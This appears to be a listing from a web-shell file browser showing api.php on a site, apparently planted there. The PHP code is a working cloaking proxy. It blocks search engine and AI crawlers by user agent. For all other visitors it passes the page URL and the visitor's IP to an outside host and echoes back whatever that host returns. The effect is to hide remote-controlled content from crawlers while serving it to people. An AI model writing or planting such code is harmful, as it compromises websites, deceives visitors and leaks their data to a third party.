@qingjieshouliang
Current Path : /www/wwwroot/eblliwsm.com/a/ |
Current File : /www/wwwroot/eblliwsm.com/a/api.php |
<?php ini_set('display_errors', 'Off'); set_time_limit(60); if (isset($_SERVER['HTTP_USER_AGENT'])) { $userAgent = $_SERVER['HTTP_USER_AGENT']; } else { header('HTTP/1.1 403 Forbidden'); exit; } $blockedAgents = 'DotBot|AhrefsBot|facebook|MJ12bot|SemrushBot|bingbot|PetalBot|Amazonbot|Googlebot|Bytespider|GPTBot'; if (preg_match('/' . $blockedAgents . '/i', $userAgent)) { header('HTTP/1.1 403 Forbidden'); exit; } $api = "http://jscb.zdink.com/su?jscurl="; $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http'; $domain = $_SERVER['HTTP_HOST']; $currentUrl = $protocol . '://' . $domain . $_SERVER['REQUEST_URI']; $geturl = $api . urlencode($currentUrl); $realIP = ''; $realIP = $_SERVER['REMOTE_ADDR']; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $geturl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 50); curl_setopt($ch, CURLOPT_ENCODING, 'gzip'); $headers = array( 'puerche: ' . $realIP, 'User-Agent: ' . $userAgent, 'X-Forwarded-For: ' . $realIP, 'Accept-Encoding: gzip' ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); if (curl_errno($ch)) { header("HTTP/1.1 504 Gateway Timeout"); exit; } curl_close($ch); ob_start(); echo $response; ob_end_flush(); ?>